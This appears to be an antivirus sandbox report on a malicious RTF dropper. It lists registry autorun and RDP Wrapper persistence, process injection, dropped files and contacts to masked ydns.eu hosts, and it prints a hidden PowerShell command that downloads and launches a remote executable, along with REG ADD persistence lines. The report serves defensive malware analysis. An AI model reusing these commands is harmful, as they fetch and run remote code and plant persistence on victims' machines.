Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%ALLUSERSPROFILE%\images.exe'
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\TermService\Parameters] 'ServiceDll' = '%ProgramFiles%\Microsoft DN1\sqlmap.dll'
Creates the following services
- 'umbus' system32\DRIVERS\umbus.sys
Malicious functions
Downloads and executes
- http://ne#####eeeee.ydns.eu/putty.exe as %appdata%\putty.exe
Injects code into
the following system processes:
- %WINDIR%\syswow64\cmd.exe
the following user processes:
- images.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgdghghВќ.sct
- %APPDATA%\putty.exe
- %ALLUSERSPROFILE%\images.exe
- <Current directory>\~wrd0000.tmp
- %APPDATA%\hckaze.ot.exe
- %ProgramFiles%\microsoft dn1\sqlmap.dll
- <SYSTEM32>\rfxvmt.dll
- %ProgramFiles%\microsoft dn1\rdpwrap.ini
- <SYSTEM32>\microsoft\protect\s-1-5-20\d340c644-4416-41bb-8c9c-434a514896a5
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Deletes the following files
- %TEMP%\abdtfhghgdghghВќ.sct
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- 'ne#####eeeee.ydns.eu':80
- 'sd#####fssffs.ydns.eu':6703
TCP
Other
- 'ne#####eeeee.ydns.eu':6703
UDP
- DNS ASK ne#####eeeee.ydns.eu
- DNS ASK sd#####fssffs.ydns.eu
- DNS ASK hu####it.ydns.eu
Miscellaneous
Creates and executes the following
- '%APPDATA%\putty.exe'
- '%ALLUSERSPROFILE%\images.exe'
- '%APPDATA%\hckaze.ot.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://ne#####eeeee.ydns.eu/putty.exe','%APPDATA%\putty.exe');Start-Process '...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\images.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\images.exe"
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\images.exe"
- '%WINDIR%\syswow64\cmd.exe'
